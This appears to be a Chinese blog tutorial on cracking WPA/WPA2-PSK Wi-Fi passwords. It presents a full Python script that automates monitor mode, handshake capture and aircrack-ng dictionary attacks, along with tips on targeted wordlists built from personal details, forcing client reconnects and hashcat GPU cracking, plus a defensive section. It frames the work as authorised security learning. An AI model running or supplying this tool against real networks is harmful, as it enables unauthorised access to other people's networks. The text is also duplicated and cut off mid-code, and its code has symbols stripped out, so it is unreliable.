1. 项目概述从安全测试视角理解Wi-Fi密码破解最近在整理一些旧的网络安全学习笔记翻到了一个挺有意思的实践项目用Python脚本配合密码字典对开启了WPA/WPA2-PSK认证的Wi-Fi热点进行弱口令测试。这听起来可能有点“黑客”的味道但我必须首先强调这个项目的核心价值在于安全测试与防御而非攻击。作为一名网络安全从业者我始终认为理解攻击者的思路和工具是构建有效防御体系的第一步。这个实践能让你深刻体会到一个脆弱的密码在自动化工具面前是多么不堪一击从而在设计自己的网络或评估客户系统时将密码安全提升到最高优先级。这个项目本质上是一个自动化流程的模拟。它不涉及任何高深的密码学破解其原理非常简单获取目标Wi-Fi热点的名称SSID和握手包然后程序自动加载一个预先准备好的密码字典文件将字典中的每一个密码候选词按照WPA/WPA2的密钥派生算法进行计算并与握手包中的信息进行比对。如果比对成功就意味着找到了正确的密码。整个过程的核心就是“猜”而“猜”的效率则取决于字典的质量和计算机的运算速度。因此这个项目会涉及到Python对无线网卡的控制、数据包捕获、密码学计算以及字典文件的处理等多个环节。它适合谁呢首先是对网络安全、渗透测试感兴趣的学习者这是一个经典的入门实践能串联起多个基础知识。其次是系统管理员或网络工程师通过这个实践可以直观评估自己管理的网络所面临的密码暴力破解风险。最后任何对Python自动化感兴趣的朋友也能从中学习到如何用代码控制硬件、处理二进制数据和进行批量计算。当然所有操作必须在你自己完全拥有所有权和测试授权的网络环境中进行例如你自己的家庭路由器、在虚拟机中搭建的测试环境或专门授权的实验室网络。未经授权对他人的网络进行扫描或测试是非法且不道德的行为。2. 核心原理与工具链拆解在动手写代码之前我们必须把背后的原理和需要用到的工具搞清楚。盲目操作只会导致一堆错误提示让人无从下手。2.1 WPA/WPA2-PSK认证流程与握手包我们针对的是最常见的个人和家庭网络使用的WPA/WPA2-PSK预共享密钥模式。它的认证过程可以简化为四步握手接入点AP发送ANonce路由器向试图连接的设备发送一个随机数。设备发送SNonce和MIC设备生成自己的随机数并利用预设的密码PSK、两个随机数、双方的MAC地址等信息计算出一个消息完整性校验码MIC一并发送给AP。AP发送GTK和MICAP用同样的方式计算MIC进行验证。如果验证通过则发送组临时密钥GTK。设备确认设备进行确认握手完成。我们破解的关键在于第2步。当设备发送SNonce和MIC时这个数据包即EAPOL帧被我们捕获下来它里面包含了用于验证的MIC但不包含密码本身。我们的字典攻击就是尝试用字典里的每一个密码结合捕获到的ANonce、SNonce、双方MAC地址和SSID重新计算一遍MIC。如果计算出的MIC与捕获包中的MIC一致那么当前尝试的这个密码就是正确的PSK。注意我们无法从握手包中“解密”出密码只能通过“猜测-验证”的方式找到它。这就是为什么密码强度至关重要。一个复杂的密码会让这个猜测过程在现实时间尺度内变得不可能。2.2 工具链选择与环境准备要实现这个流程我们需要一系列工具的配合。以下是我在Linux如Kali Ubuntu环境下经过多次实践验证的工具链这也是业内最主流的选择。无线网卡与驱动这是第一个坑。你的无线网卡必须支持监听模式和数据包注入。并非所有网卡都支持。常见的兼容芯片组有Atheros AR9271、Ralink RT3070等。我手头常用的一款是TP-Link TL-WN722N v1Atheros芯片它的兼容性很好。在Linux下通常使用aircrack-ng套件来驱动和操作网卡大部分发行版的仓库里都有。核心工具套件Aircrack-ng这是整个项目的基石是一套完整的无线网络审计工具。我们主要用到其中几个命令airmon-ng用于将无线网卡切换到监听模式。airodump-ng用于扫描周围的Wi-Fi热点并捕获指定热点的握手包。aircrack-ng核心破解工具使用字典文件对捕获的握手包进行密码破解。 在Ubuntu上安装命令很简单sudo apt update sudo apt install aircrack-ng。Python的角色与库选择Python在这里扮演的是“流程自动化指挥官”和“字典增强处理器”的角色。我们并不需要用Python从零实现所有的抓包和密码计算aircrack-ng的C代码效率更高而是用Python脚本调用系统命令自动化执行airmon-ngairodump-ng等操作。管理和处理密码字典文件如合并、去重、基于SSID生成变形字典。解析命令输出判断是否成功捕获到握手包。控制破解任务实现分批、暂停、继续等逻辑。 需要用到的Python库主要是subprocess用于运行命令行工具、os、re正则表达式用于解析输出文本、hashlib如果要做一些简单的字典预处理计算和itertools用于组合生成密码。2.3 密码字典的构建艺术字典的质量直接决定了破解的成功率。一个糟糕的字典即使算力再强也是徒劳。字典的构建是一门经验活。通用弱口令字典包含如“12345678”, “password”, “admin”, “qwerty”, “88888888”等全球通用的弱密码。网络上可以找到很多现成的例如“rockyou.txt”在Kali Linux中自带。这是我们的第一轮攻击字典。基于目标的定制字典这是提高成功率的关键。我们可以根据目标SSID、可能的使用者信息来生成。SSID变形如果SSID是“CMCC-ABC”那么可以生成“cmccabc”, “CMCCabc”, “abc123456”, “abc888”等组合。社会工程学信息如果知道是某个公司或个人的网络可以尝试公司缩写、电话号码、生日如19800101、姓名拼音组合等。规则生成使用工具如hashcat的--stdout模式配合规则文件或者Python的itertools.product可以快速生成符合特定模式如“8位数字”、“字母数字符号”的候选密码。字典处理技巧去重与排序用sort -u命令或Python对字典文件去重并将最有可能的密码如短密码、常见密码放在文件开头以尽早命中。大小写变换对于字母型密码尝试首字母大写、全大写、全小写等变体。字典合并与分割将多个小字典合并成一个大字典进行综合攻击或者将超大字典分割成多个小文件用于分批、分布式测试。我的个人习惯是针对一个目标先用一个很小的几十KB超弱口令字典进行“快扫”如果没有命中再使用一个中等规模的几十MB综合字典最后才会考虑动用上GB的大型字典或启用规则生成模式。3. 自动化脚本设计与核心代码实现理解了原理和工具我们就可以开始设计Python脚本了。我们的脚本目标是将airodump-ng扫描、抓包和aircrack-ng破解的过程串联起来并加入一些智能判断。3.1 脚本整体架构设计脚本将遵循一个清晰的线性流程但每个环节都有状态判断参数解析让用户输入目标Wi-Fi的BSSIDMAC地址、信道、网卡接口名等。网卡模式切换调用airmon-ng将指定网卡置于监听模式。目标扫描与握手包捕获启动airodump-ng进程针对特定BSSID和信道进行抓包并持续监控其输出直到检测到“WPA handshake”字样。握手包确认与保存一旦检测到握手包终止抓包进程确认抓包文件.cap格式已生成。字典破解调用aircrack-ng 将捕获的.cap文件和字典文件路径作为参数启动破解进程。结果解析与输出监控aircrack-ng的输出如果破解成功则提取并显示密码如果字典耗尽仍未成功则提示失败。3.2 关键代码模块解析下面我将分模块展示核心代码片段并附上详细注释。#!/usr/bin/env python3 Wi-Fi WPA/WPA2 PSK字典破解自动化脚本 注意仅用于授权安全测试环境。 import subprocess import re import time import argparse import sys import os from threading import Thread, Event class WiFiCracker: def __init__(self, interface, target_bssid, channel, wordlist): self.interface interface # 物理网卡名如 wlan0 self.mon_interface None # 监听模式网卡名如 wlan0mon self.target_bssid target_bssid.lower() # 目标路由器MAC self.channel channel # 目标信道 self.wordlist wordlist # 字典文件路径 self.cap_file fhandshake_{target_bssid.replace(:, )}.cap # 抓包文件名 self.stop_capture Event() # 用于控制抓包线程的事件 def run_command(self, cmd, backgroundFalse): 运行shell命令并处理输出 try: if background: # 后台运行用于持续抓包等任务 process subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.PIPE, textTrue) return process else: # 前台运行获取一次性结果 result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue) return result.stdout, result.stderr except Exception as e: print(f[!] 执行命令失败: {cmd}) print(f 错误信息: {e}) return None, None def set_monitor_mode(self): 步骤1启用网卡监听模式 print(f[*] 正在将接口 {self.interface} 设置为监听模式...) # 先停止可能干扰的进程 self.run_command(sudo airmon-ng check kill) # 启动监听模式 stdout, stderr self.run_command(fsudo airmon-ng start {self.interface}) if stdout: # 从输出中解析出监听模式接口名通常是原接口名mon match re.search(rmonitor mode enabled on (\w), stdout) if match: self.mon_interface match.group(1) print(f[] 监听模式已启用接口名为: {self.mon_interface}) return True print([-] 无法启用监听模式请检查网卡驱动和权限。) return False这段初始化代码定义了核心类并包含了执行命令和设置监听模式的方法。airmon-ng check kill非常重要它会终止可能占用网卡的网络管理器等进程避免冲突。def capture_handshake(self): 步骤2捕获目标AP的握手包 print(f[*] 开始扫描并捕获BSSID为 {self.target_bssid} 的握手包...) # 构建airodump-ng命令 # -c 指定信道--bssid 指定目标-w 指定输出文件前缀不包含.cap扩展名 cmd fsudo airodump-ng -c {self.channel} --bssid {self.target_bssid} -w handshake_{self.target_bssid.replace(:, )} {self.mon_interface} print(f[] 执行命令: {cmd}) # 启动airodump-ng进程 self.capture_process self.run_command(cmd, backgroundTrue) # 启动一个线程来实时读取输出并检测握手包 def monitor_output(): while not self.stop_capture.is_set(): line self.capture_process.stdout.readline() if line: # 关键检测当客户端连接时会显示WPA握手信息 if WPA handshake in line: print(f\n[!!!] 成功捕获到WPA握手包) print(f 相关信息: {line.strip()}) self.stop_capture.set() # 触发停止事件 break time.sleep(0.1) monitor_thread Thread(targetmonitor_output) monitor_thread.start() print([*] 正在等待客户端连接以捕获握手包可以尝试让已连接设备断线重连...) print([*] 按 CtrlC 可手动停止捕获。) try: # 等待握手包捕获事件触发或者超时例如300秒 self.stop_capture.wait(timeout300) except KeyboardInterrupt: print(\n[!] 用户中断捕获。) finally: # 无论何种方式结束都终止抓包进程 self.stop_capture.set() self.capture_process.terminate() self.capture_process.wait() print([*] 捕获进程已停止。) # 检查.cap文件是否生成且大小大于0 if os.path.exists(self.cap_file) and os.path.getsize(self.cap_file) 1024: # 简单判断文件非空 print(f[] 握手包文件已保存: {self.cap_file}) return True else: print([-] 未能成功捕获握手包文件。) return False这是脚本的核心之一。我们启动airodump-ng在后台运行并开一个线程实时监控它的标准输出。一旦输出中出现“WPA handshake”字符串就立刻标记成功并停止抓包。这里使用了threading.Event来进行线程间通信是一种清晰的做法。def crack_password(self): 步骤3使用aircrack-ng进行字典破解 if not os.path.exists(self.cap_file): print(f[-] 抓包文件 {self.cap_file} 不存在无法破解。) return False if not os.path.exists(self.wordlist): print(f[-] 字典文件 {self.wordlist} 不存在。) return False print(f[*] 开始使用字典 {self.wordlist} 破解握手包...) # -a2 指定WPA/WPA2模式 -b 指定目标BSSID -w 指定字典文件 cmd fsudo aircrack-ng -a2 -b {self.target_bssid} -w {self.wordlist} {self.cap_file} print(f[] 执行命令: {cmd}) # 直接运行因为aircrack-ng会持续运行直到破解成功或字典耗尽 process subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue, bufsize1, universal_newlinesTrue) key_found False password None # 实时解析aircrack-ng的输出 for line in iter(process.stdout.readline, ): print(line.strip()) # 可以实时看到尝试进度 # 检测破解成功的输出行 if KEY FOUND in line.upper(): match re.search(r\[(.*?)\], line) if match: password match.group(1) print(f\n[!!!] 破解成功) print(f[!!!] 密码为: {password}) key_found True process.terminate() break # 检测字典耗尽或失败 elif Passphrase not in dictionary in line or 0 keys tested in line and 100.00% in line: print(\n[-] 字典破解失败未在给定字典中找到密码。) process.terminate() break process.wait() return key_found, password def cleanup(self): 清理关闭监听模式 if self.mon_interface: print(f[*] 正在关闭接口 {self.mon_interface} 的监听模式...) self.run_command(fsudo airmon-ng stop {self.mon_interface}) print([] 清理完成。)破解部分相对直接就是调用aircrack-ng并解析其输出。成功和失败都有特定的字符串可以识别。最后cleanup函数确保将网卡恢复回托管模式否则你的无线网络可能会一直异常。def main(): parser argparse.ArgumentParser(description自动化WPA/WPA2握手包捕获与字典破解脚本) parser.add_argument(-i, --interface, requiredTrue, help无线网卡接口名 (如 wlan0)) parser.add_argument(-b, --bssid, requiredTrue, help目标Wi-Fi的BSSID (MAC地址)) parser.add_argument(-c, --channel, requiredTrue, typeint, help目标Wi-Fi的信道) parser.add_argument(-w, --wordlist, requiredTrue, help密码字典文件路径) args parser.parse_args() cracker WiFiCracker(args.interface, args.bssid, args.channel, args.wordlist) try: # 1. 设置监听模式 if not cracker.set_monitor_mode(): sys.exit(1) # 2. 捕获握手包 if not cracker.capture_handshake(): print([-] 握手包捕获阶段失败。) cracker.cleanup() sys.exit(1) # 3. 破解密码 success, pwd cracker.crack_password() if success: print(f\n{*50}) print(f破解成功目标 {args.bssid} 的密码是: {pwd}) print(f{*50}) else: print(\n破解未成功请尝试更强大的字典或检查握手包文件。) except KeyboardInterrupt: print(\n[!] 程序被用户中断。) except Exception as e: print(f\n[!] 程序运行出错: {e}) finally: # 确保清理 cracker.cleanup() if __name__ __main__: main()主函数将流程串联起来并提供了命令行参数接口。使用时你需要先用sudo airmon-ng start wlan0之类的命令测试网卡并用sudo airodump-ng wlan0mon扫描获取目标的BSSID和信道然后再运行本脚本。4. 实战操作流程与避坑指南有了脚本我们来看看一次完整的实战操作流程以及每一步可能遇到的“坑”。4.1 完整操作步骤环境准备与信息收集启动一个Linux测试环境物理机或虚拟机均可但虚拟机需使用USB外接兼容网卡。运行iwconfig确认无线网卡接口名通常是wlan0。运行sudo airmon-ng start wlan0开启监听模式得到监听接口名如wlan0mon。运行sudo airodump-ng wlan0mon扫描周围Wi-Fi。记下目标的BSSID 路由器的MAC地址如AA:BB:CC:DD:EE:FF。CH 信道如6。ESSID 网络名称用于制作定向字典。准备字典将你的密码字典文件如common_pass.txt放在脚本可访问的目录。可选根据目标ESSID生成定制字典。例如对于“HomeNet-5G”可以写个简单的Python脚本生成homenet,HomeNet,HomeNet123等候选词追加到字典中。运行自动化脚本sudo python3 wifi_cracker.py -i wlan0 -b AA:BB:CC:DD:EE:FF -c 6 -w ./common_pass.txt脚本会自动切换网卡模式、开始抓包。此时你需要等待一个客户端连接目标Wi-Fi。如果已经有设备在线可以尝试让其断线重连比如关闭再打开手机的Wi-Fi以触发四次握手过程。一旦控制台显示“成功捕获到WPA握手包”抓包阶段即完成。等待破解结果脚本会自动开始破解。你会在屏幕上看到aircrack-ng实时尝试密码的速度和进度。如果密码在字典中最终会显示“KEY FOUND”和密码。如果字典耗尽则提示失败。4.2 常见问题与排查技巧实录在实际操作中你几乎一定会遇到下面这些问题。我把它们和解决方案整理成了表格方便你快速排查。问题现象可能原因排查与解决步骤airmon-ng start失败提示“No such device”或“SIOCSIFFLAGS: Operation not possible due to RF-kill”1. 网卡驱动不支持监听模式。2. 网卡被系统射频开关RF-kill软/硬屏蔽。1.检查网卡型号用lspci | grep -i network或lsusb查看并搜索该型号是否支持监听模式如Atheros AR9271, Ralink RT3070支持。2.解除RF-kill运行rfkill list all查看如果被软屏蔽Soft blocked: yes运行rfkill unblock wifi如果是硬屏蔽Hard blocked需要查找笔记本的物理无线开关或Fn组合键。airodump-ng扫描不到任何Wi-Fi信号1. 网卡未成功进入监听模式。2. 使用了错误的接口名。3. 在虚拟机中USB网卡未正确穿透或驱动有问题。1. 用iwconfig确认接口是否处于Mode:Monitor。2. 确认使用的是监听模式接口如wlan0mon而不是普通接口wlan0。3. 在虚拟机设置中确保USB设备已连接给客户机并在Linux内用dmesg | tail查看内核是否识别到新网卡。能扫描到信号但始终抓不到目标握手包1. 目标网络没有客户端活动。2. 目标使用了WPA3或企业级认证WPA-Enterprise本方法无效。3. 信道或BSSID输入错误。4. 距离太远或信号太差。1.耐心等待或主动触发这是最常见原因。等待有设备连接或如果你有授权可以让已连接的设备断开重连。2.确认认证方式airodump-ng输出中目标的AUTH列应为PSK预共享密钥如果是MGT管理帧则为企业级。3. 仔细核对airodump-ng扫描结果中的BSSID和信道。4. 尝试靠近目标路由器。抓到握手包后aircrack-ng破解速度极慢每秒尝试个位数密码1. 字典文件过大且未使用GPU加速。2. CPU性能太弱。3. 握手包文件损坏或不完整。1.使用更精准的字典不要一开始就用上GB的字典。先用小型、精选的弱口令字典。2.考虑GPU加速aircrack-ng主要靠CPU。对于大型字典应考虑使用hashcat工具它支持GPU破解速度可提升成百上千倍。命令类似hashcat -m 2500 handshake.cap wordlist.txt。3. 可以尝试用aircrack-ng -J test handshake.cap将cap文件转换为hashcat支持的hccapx格式。aircrack-ng提示“No valid WPA handshakes found”抓取的.cap文件中不包含完整的四次握手数据包。1. 重新抓包确保在握手发生时airodump-ng正在运行。2. 可以尝试使用wpaclean工具清理cap文件wpaclean out.cap handshake.cap再用out.cap去破解。3. 使用aircrack-ng handshake.cap命令不加字典可以验证文件内是否包含握手包。脚本执行权限问题或依赖缺失1. 未使用sudo运行需要root权限的命令。2. Python脚本本身没有执行权限。3.aircrack-ng套件未安装。1. 确保脚本中调用airmon-ng,airodump-ng,aircrack-ng的命令前都加了sudo并且当前用户有sudo权限。2. 给脚本加执行权chmod x wifi_cracker.py。3. 安装依赖sudo apt install aircrack-ng。4.3 高阶技巧与防御视角从攻击中学习防御才是这个项目的终极目的。提升破解效率分布式破解将超大字典分割在多台机器上同时运行aircrack-ng或hashcat这是专业渗透测试的做法。规则攻击使用hashcat的规则模式可以对基础字典进行极其复杂的变换如大小写翻转、添加前后缀、leet语替换等极大扩展字典的覆盖面。彩虹表不适用由于WPA/WPA2的PSK计算引入了SSID作为“盐值”相同的密码在不同的SSID下会产生不同的密钥。因此针对WPA2的通用彩虹表几乎不存在必须针对目标SSID实时计算。从防御角度看密码安全绝对不要使用弱口令像“12345678”、“password”、“自家电话号码”、“简单英文单词”这类密码在哪怕很小的字典面前也撑不过一秒。密码长度与复杂度WPA/WPA2-PSK密码要求8-63字符。建议使用不少于12位的随机组合包含大小写字母、数字和特殊符号。例如可以使用Diceware方法生成易记但熵值高的密码短语。隐藏SSID作用有限隐藏SSID不广播只能防君子airodump-ng等工具可以轻易地从客户端探针请求中捕获到隐藏的SSID。启用WPA3如果路由器和设备支持请升级到WPA3认证。WPA3的SAESimultaneous Authentication of Equals协议能有效防御离线字典攻击。MAC地址过滤这是一个额外的防御层但MAC地址可以被侦听和伪造不能作为唯一的安全措施。定期更换密码尤其是当你怀疑网络可能被嗅探过后。这个项目让我最深的体会是安全是一个动态的过程而非一劳永逸的设置。通过亲手实践一次“破解”你会对“弱口令”这三个字有刻骨铭心的认识。在给自己的网络设置密码时你可能会不由自主地多想几秒而这多想的几秒可能就是安全与风险的分界线。最后请务必记住技术是把双刃剑所有的学习和测试都应在法律和道德允许的范围内在你自己可控的环境中进行。
Python自动化Wi-Fi安全测试：WPA/WPA2握手包捕获与字典破解实战
发布时间：2026/7/30 9:04:30
1. 项目概述从安全测试视角理解Wi-Fi密码破解最近在整理一些旧的网络安全学习笔记翻到了一个挺有意思的实践项目用Python脚本配合密码字典对开启了WPA/WPA2-PSK认证的Wi-Fi热点进行弱口令测试。这听起来可能有点“黑客”的味道但我必须首先强调这个项目的核心价值在于安全测试与防御而非攻击。作为一名网络安全从业者我始终认为理解攻击者的思路和工具是构建有效防御体系的第一步。这个实践能让你深刻体会到一个脆弱的密码在自动化工具面前是多么不堪一击从而在设计自己的网络或评估客户系统时将密码安全提升到最高优先级。这个项目本质上是一个自动化流程的模拟。它不涉及任何高深的密码学破解其原理非常简单获取目标Wi-Fi热点的名称SSID和握手包然后程序自动加载一个预先准备好的密码字典文件将字典中的每一个密码候选词按照WPA/WPA2的密钥派生算法进行计算并与握手包中的信息进行比对。如果比对成功就意味着找到了正确的密码。整个过程的核心就是“猜”而“猜”的效率则取决于字典的质量和计算机的运算速度。因此这个项目会涉及到Python对无线网卡的控制、数据包捕获、密码学计算以及字典文件的处理等多个环节。它适合谁呢首先是对网络安全、渗透测试感兴趣的学习者这是一个经典的入门实践能串联起多个基础知识。其次是系统管理员或网络工程师通过这个实践可以直观评估自己管理的网络所面临的密码暴力破解风险。最后任何对Python自动化感兴趣的朋友也能从中学习到如何用代码控制硬件、处理二进制数据和进行批量计算。当然所有操作必须在你自己完全拥有所有权和测试授权的网络环境中进行例如你自己的家庭路由器、在虚拟机中搭建的测试环境或专门授权的实验室网络。未经授权对他人的网络进行扫描或测试是非法且不道德的行为。2. 核心原理与工具链拆解在动手写代码之前我们必须把背后的原理和需要用到的工具搞清楚。盲目操作只会导致一堆错误提示让人无从下手。2.1 WPA/WPA2-PSK认证流程与握手包我们针对的是最常见的个人和家庭网络使用的WPA/WPA2-PSK预共享密钥模式。它的认证过程可以简化为四步握手接入点AP发送ANonce路由器向试图连接的设备发送一个随机数。设备发送SNonce和MIC设备生成自己的随机数并利用预设的密码PSK、两个随机数、双方的MAC地址等信息计算出一个消息完整性校验码MIC一并发送给AP。AP发送GTK和MICAP用同样的方式计算MIC进行验证。如果验证通过则发送组临时密钥GTK。设备确认设备进行确认握手完成。我们破解的关键在于第2步。当设备发送SNonce和MIC时这个数据包即EAPOL帧被我们捕获下来它里面包含了用于验证的MIC但不包含密码本身。我们的字典攻击就是尝试用字典里的每一个密码结合捕获到的ANonce、SNonce、双方MAC地址和SSID重新计算一遍MIC。如果计算出的MIC与捕获包中的MIC一致那么当前尝试的这个密码就是正确的PSK。注意我们无法从握手包中“解密”出密码只能通过“猜测-验证”的方式找到它。这就是为什么密码强度至关重要。一个复杂的密码会让这个猜测过程在现实时间尺度内变得不可能。2.2 工具链选择与环境准备要实现这个流程我们需要一系列工具的配合。以下是我在Linux如Kali Ubuntu环境下经过多次实践验证的工具链这也是业内最主流的选择。无线网卡与驱动这是第一个坑。你的无线网卡必须支持监听模式和数据包注入。并非所有网卡都支持。常见的兼容芯片组有Atheros AR9271、Ralink RT3070等。我手头常用的一款是TP-Link TL-WN722N v1Atheros芯片它的兼容性很好。在Linux下通常使用aircrack-ng套件来驱动和操作网卡大部分发行版的仓库里都有。核心工具套件Aircrack-ng这是整个项目的基石是一套完整的无线网络审计工具。我们主要用到其中几个命令airmon-ng用于将无线网卡切换到监听模式。airodump-ng用于扫描周围的Wi-Fi热点并捕获指定热点的握手包。aircrack-ng核心破解工具使用字典文件对捕获的握手包进行密码破解。 在Ubuntu上安装命令很简单sudo apt update sudo apt install aircrack-ng。Python的角色与库选择Python在这里扮演的是“流程自动化指挥官”和“字典增强处理器”的角色。我们并不需要用Python从零实现所有的抓包和密码计算aircrack-ng的C代码效率更高而是用Python脚本调用系统命令自动化执行airmon-ngairodump-ng等操作。管理和处理密码字典文件如合并、去重、基于SSID生成变形字典。解析命令输出判断是否成功捕获到握手包。控制破解任务实现分批、暂停、继续等逻辑。 需要用到的Python库主要是subprocess用于运行命令行工具、os、re正则表达式用于解析输出文本、hashlib如果要做一些简单的字典预处理计算和itertools用于组合生成密码。2.3 密码字典的构建艺术字典的质量直接决定了破解的成功率。一个糟糕的字典即使算力再强也是徒劳。字典的构建是一门经验活。通用弱口令字典包含如“12345678”, “password”, “admin”, “qwerty”, “88888888”等全球通用的弱密码。网络上可以找到很多现成的例如“rockyou.txt”在Kali Linux中自带。这是我们的第一轮攻击字典。基于目标的定制字典这是提高成功率的关键。我们可以根据目标SSID、可能的使用者信息来生成。SSID变形如果SSID是“CMCC-ABC”那么可以生成“cmccabc”, “CMCCabc”, “abc123456”, “abc888”等组合。社会工程学信息如果知道是某个公司或个人的网络可以尝试公司缩写、电话号码、生日如19800101、姓名拼音组合等。规则生成使用工具如hashcat的--stdout模式配合规则文件或者Python的itertools.product可以快速生成符合特定模式如“8位数字”、“字母数字符号”的候选密码。字典处理技巧去重与排序用sort -u命令或Python对字典文件去重并将最有可能的密码如短密码、常见密码放在文件开头以尽早命中。大小写变换对于字母型密码尝试首字母大写、全大写、全小写等变体。字典合并与分割将多个小字典合并成一个大字典进行综合攻击或者将超大字典分割成多个小文件用于分批、分布式测试。我的个人习惯是针对一个目标先用一个很小的几十KB超弱口令字典进行“快扫”如果没有命中再使用一个中等规模的几十MB综合字典最后才会考虑动用上GB的大型字典或启用规则生成模式。3. 自动化脚本设计与核心代码实现理解了原理和工具我们就可以开始设计Python脚本了。我们的脚本目标是将airodump-ng扫描、抓包和aircrack-ng破解的过程串联起来并加入一些智能判断。3.1 脚本整体架构设计脚本将遵循一个清晰的线性流程但每个环节都有状态判断参数解析让用户输入目标Wi-Fi的BSSIDMAC地址、信道、网卡接口名等。网卡模式切换调用airmon-ng将指定网卡置于监听模式。目标扫描与握手包捕获启动airodump-ng进程针对特定BSSID和信道进行抓包并持续监控其输出直到检测到“WPA handshake”字样。握手包确认与保存一旦检测到握手包终止抓包进程确认抓包文件.cap格式已生成。字典破解调用aircrack-ng 将捕获的.cap文件和字典文件路径作为参数启动破解进程。结果解析与输出监控aircrack-ng的输出如果破解成功则提取并显示密码如果字典耗尽仍未成功则提示失败。3.2 关键代码模块解析下面我将分模块展示核心代码片段并附上详细注释。#!/usr/bin/env python3 Wi-Fi WPA/WPA2 PSK字典破解自动化脚本 注意仅用于授权安全测试环境。 import subprocess import re import time import argparse import sys import os from threading import Thread, Event class WiFiCracker: def __init__(self, interface, target_bssid, channel, wordlist): self.interface interface # 物理网卡名如 wlan0 self.mon_interface None # 监听模式网卡名如 wlan0mon self.target_bssid target_bssid.lower() # 目标路由器MAC self.channel channel # 目标信道 self.wordlist wordlist # 字典文件路径 self.cap_file fhandshake_{target_bssid.replace(:, )}.cap # 抓包文件名 self.stop_capture Event() # 用于控制抓包线程的事件 def run_command(self, cmd, backgroundFalse): 运行shell命令并处理输出 try: if background: # 后台运行用于持续抓包等任务 process subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.PIPE, textTrue) return process else: # 前台运行获取一次性结果 result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue) return result.stdout, result.stderr except Exception as e: print(f[!] 执行命令失败: {cmd}) print(f 错误信息: {e}) return None, None def set_monitor_mode(self): 步骤1启用网卡监听模式 print(f[*] 正在将接口 {self.interface} 设置为监听模式...) # 先停止可能干扰的进程 self.run_command(sudo airmon-ng check kill) # 启动监听模式 stdout, stderr self.run_command(fsudo airmon-ng start {self.interface}) if stdout: # 从输出中解析出监听模式接口名通常是原接口名mon match re.search(rmonitor mode enabled on (\w), stdout) if match: self.mon_interface match.group(1) print(f[] 监听模式已启用接口名为: {self.mon_interface}) return True print([-] 无法启用监听模式请检查网卡驱动和权限。) return False这段初始化代码定义了核心类并包含了执行命令和设置监听模式的方法。airmon-ng check kill非常重要它会终止可能占用网卡的网络管理器等进程避免冲突。def capture_handshake(self): 步骤2捕获目标AP的握手包 print(f[*] 开始扫描并捕获BSSID为 {self.target_bssid} 的握手包...) # 构建airodump-ng命令 # -c 指定信道--bssid 指定目标-w 指定输出文件前缀不包含.cap扩展名 cmd fsudo airodump-ng -c {self.channel} --bssid {self.target_bssid} -w handshake_{self.target_bssid.replace(:, )} {self.mon_interface} print(f[] 执行命令: {cmd}) # 启动airodump-ng进程 self.capture_process self.run_command(cmd, backgroundTrue) # 启动一个线程来实时读取输出并检测握手包 def monitor_output(): while not self.stop_capture.is_set(): line self.capture_process.stdout.readline() if line: # 关键检测当客户端连接时会显示WPA握手信息 if WPA handshake in line: print(f\n[!!!] 成功捕获到WPA握手包) print(f 相关信息: {line.strip()}) self.stop_capture.set() # 触发停止事件 break time.sleep(0.1) monitor_thread Thread(targetmonitor_output) monitor_thread.start() print([*] 正在等待客户端连接以捕获握手包可以尝试让已连接设备断线重连...) print([*] 按 CtrlC 可手动停止捕获。) try: # 等待握手包捕获事件触发或者超时例如300秒 self.stop_capture.wait(timeout300) except KeyboardInterrupt: print(\n[!] 用户中断捕获。) finally: # 无论何种方式结束都终止抓包进程 self.stop_capture.set() self.capture_process.terminate() self.capture_process.wait() print([*] 捕获进程已停止。) # 检查.cap文件是否生成且大小大于0 if os.path.exists(self.cap_file) and os.path.getsize(self.cap_file) 1024: # 简单判断文件非空 print(f[] 握手包文件已保存: {self.cap_file}) return True else: print([-] 未能成功捕获握手包文件。) return False这是脚本的核心之一。我们启动airodump-ng在后台运行并开一个线程实时监控它的标准输出。一旦输出中出现“WPA handshake”字符串就立刻标记成功并停止抓包。这里使用了threading.Event来进行线程间通信是一种清晰的做法。def crack_password(self): 步骤3使用aircrack-ng进行字典破解 if not os.path.exists(self.cap_file): print(f[-] 抓包文件 {self.cap_file} 不存在无法破解。) return False if not os.path.exists(self.wordlist): print(f[-] 字典文件 {self.wordlist} 不存在。) return False print(f[*] 开始使用字典 {self.wordlist} 破解握手包...) # -a2 指定WPA/WPA2模式 -b 指定目标BSSID -w 指定字典文件 cmd fsudo aircrack-ng -a2 -b {self.target_bssid} -w {self.wordlist} {self.cap_file} print(f[] 执行命令: {cmd}) # 直接运行因为aircrack-ng会持续运行直到破解成功或字典耗尽 process subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue, bufsize1, universal_newlinesTrue) key_found False password None # 实时解析aircrack-ng的输出 for line in iter(process.stdout.readline, ): print(line.strip()) # 可以实时看到尝试进度 # 检测破解成功的输出行 if KEY FOUND in line.upper(): match re.search(r\[(.*?)\], line) if match: password match.group(1) print(f\n[!!!] 破解成功) print(f[!!!] 密码为: {password}) key_found True process.terminate() break # 检测字典耗尽或失败 elif Passphrase not in dictionary in line or 0 keys tested in line and 100.00% in line: print(\n[-] 字典破解失败未在给定字典中找到密码。) process.terminate() break process.wait() return key_found, password def cleanup(self): 清理关闭监听模式 if self.mon_interface: print(f[*] 正在关闭接口 {self.mon_interface} 的监听模式...) self.run_command(fsudo airmon-ng stop {self.mon_interface}) print([] 清理完成。)破解部分相对直接就是调用aircrack-ng并解析其输出。成功和失败都有特定的字符串可以识别。最后cleanup函数确保将网卡恢复回托管模式否则你的无线网络可能会一直异常。def main(): parser argparse.ArgumentParser(description自动化WPA/WPA2握手包捕获与字典破解脚本) parser.add_argument(-i, --interface, requiredTrue, help无线网卡接口名 (如 wlan0)) parser.add_argument(-b, --bssid, requiredTrue, help目标Wi-Fi的BSSID (MAC地址)) parser.add_argument(-c, --channel, requiredTrue, typeint, help目标Wi-Fi的信道) parser.add_argument(-w, --wordlist, requiredTrue, help密码字典文件路径) args parser.parse_args() cracker WiFiCracker(args.interface, args.bssid, args.channel, args.wordlist) try: # 1. 设置监听模式 if not cracker.set_monitor_mode(): sys.exit(1) # 2. 捕获握手包 if not cracker.capture_handshake(): print([-] 握手包捕获阶段失败。) cracker.cleanup() sys.exit(1) # 3. 破解密码 success, pwd cracker.crack_password() if success: print(f\n{*50}) 